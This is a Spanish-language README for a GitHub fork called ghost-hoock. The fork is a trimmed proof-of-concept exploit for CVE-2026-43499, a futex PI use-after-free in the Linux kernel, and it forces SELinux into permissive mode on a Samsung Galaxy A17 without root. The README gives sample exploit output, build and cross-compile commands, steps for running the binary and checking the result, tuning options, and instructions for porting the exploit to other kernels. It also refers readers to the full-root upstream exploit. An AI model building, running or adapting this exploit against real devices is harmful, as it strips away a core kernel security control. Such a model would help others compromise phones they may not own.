ghost-hoock

Un fork mínimo de GhostLock que conserva solo una primitiva: desactivar SELinux mediante CVE-2026-43499 (futex PI UAF).

Tabla de contenidos

• Qué es esto
• Cómo funciona
• Qué se conservó del original
• Qué se eliminó
• Compilación
• Ejecución
• Requisitos
• Limitaciones y riesgos
• Estructura del proyecto
• Licencia
• Créditos
• Enlaces

Qué es esto

ghost-hoock es un fork reducido del exploit GhostLock de Mobile Hacking Lab, reducido a una única primitiva:

Una escritura restringida mediante futex PI UAF -> selinux_enforcing = 0.

Sin root, sin sobrescritura de cred, sin canal rwforge, sin UMH, sin configfs. Solo lo mínimo necesario para poner SELinux en modo permisivo en el kernel vulnerable.

Salida de ejemplo en un Samsung Galaxy A17 (SM-A175F, BZA5):

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Luego:

$ getenforce
Permissive

getenforce devuelve Permissive

Cómo funciona

El exploit ataca CVE-2026-43499 — un use-after-free en la cadena rt_mutex de PI (Priority Inheritance) de futex del kernel de Linux. La cadena en ghost-hoock consta de cuatro pasos:

*(uint64_t *)target = value | color

Qué se conservó del original

Este es un fork de mobilehackinglab/ghostlock-a17 (MIT). Lo siguiente se toma 1:1 del exploit upstream:

El código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) también se conserva tal cual del original.

Qué se eliminó

El GhostLock original logra root completo en el A17: instala un canal físico de lectura/escritura rwforge, parchea cred / real_cred, ejecuta un helper UMH con credenciales de init, captura logs y más. En ghost-hoock, todo lo que va más allá de la primera escritura restringida ha desaparecido.

El GhostLock original sigue siendo más completo y potente que este fork. ghost-hoock no es un reemplazo — es un PoC mínimo para una tarea concreta: desactivar SELinux.

Compilación

En el dispositivo (clang, Termux o adb shell)

Requiere clang y make en $PATH. Probado en Termux; también funciona vía adb shell si el toolchain está presente.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Salida: ./ghost-hoock (aarch64, PIE).

Vía Android NDK (en un PC)

make NDK=/path/to/android-ndk-r26

o manualmente:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Comprobación de compilación cruzada

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Ejecución

# copiar el binario a algún lugar legible desde el contexto del shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirmar que SELinux está actualmente en enforcing
getenforce
# -> Enforcing

# ejecutar
/data/local/tmp/ghost-hoock

# verificar
getenforce
# -> Permissive

Opciones

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variables de entorno

· GHOSTLOCK_CORE — 0..N. Núcleo de CPU al que se fija el hilo consumer. Por defecto: 0. · KPHYS — 0x.... Dirección física de carga del kernel, si difiere de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante el spray. Por defecto: 32. · PSELECT_SHIFT — -14..14. Desplazamiento de palabra del fd_set. Solo para depuración. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de intentos de prepare_kernel_page para el payload FOPS. · RWF_DEBUG — cualquier valor. Imprime líneas de depuración de la construcción del payload.

Requisitos

• Dispositivo: Samsung Galaxy A17 SM-A175F (BZA5) — el objetivo para el que se extrajo esta tabla de offsets.
• Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Contexto: debe ejecutarse desde el contexto SELinux shell (u:r:shell:s0), no desde una app.
• Permisos: ninguno especial — no se requiere root. El objetivo es precisamente desactivar SELinux sin root.

Portabilidad: otros dispositivos/kernels necesitan su propia tabla de offsets. Añade una nueva OFFSETS_ENTRY(...) en include/offsets_bza5.h con los offsets de símbolos extraídos de vmlinux/kallsyms para esa compilación, y luego recompila.

Limitaciones y riesgos

• Son posibles los kernel panics. El fork hereda el riesgo del original: un page_base incorrecto o una escritura que aterrice en memoria no relacionada provocará un crash del kernel. El fork tiene menos superficie que el original (sin rwforge, sin parcheo de cred, sin UMH), por lo que es estadísticamente más seguro, pero no 100% a prueba de balas.
• KASLR está desactivado en BZA5. El exploit depende de slide = 0. No hay fuga de KASLR en este fork. Si lo portas a un kernel con KASLR habilitado, debes recuperar slide.c del original.
• Solo SELinux. El fork no otorga root. Solo escribe 0 en selinux_enforcing. Si necesitas root, usa el ghostlock-a17 completo.
• Escritura única. Solo se conserva Write 1 (selinux_enforcing = 0). No intentes extenderlo a Write 2 o a la pipeline rwforge sin comprender profundamente la ruta PI.
• Requiere que la escritura aterrice en ~20 intentos. Si el primer intento W1 falla, el bucle reintenta. En un arranque limpio con un sistema mayormente inactivo, normalmente aterriza en el intento 1.

Estructura del proyecto

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Licencia

MIT — igual que el upstream ghostlock-a17. Ver LICENSE.

Este fork conserva el aviso de copyright original de mobilehackinglab (2026) y añade encima los autores del fork, según lo exigido por los términos de MIT.

El proyecto se publica estrictamente para investigación de seguridad en tu propio dispositivo. Ejecutarlo contra un dispositivo que no te pertenece es ilegal en la mayoría de jurisdicciones.

Créditos

• Mobile Hacking Lab — exploit original ghostlock-a17, sobre el que se construye este fork.
• IAIK KernelSnitch — técnica de fuga de mm_struct.
• Investigadores originales de CVE-2026-43499 — por la ingeniería inversa del futex PI UAF.

Enlaces

• Exploit upstream: https://github.com/mobilehackinglab/ghostlock-a17
• Este fork: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{Built for research. Tested on a single physical device. Use at your own risk.}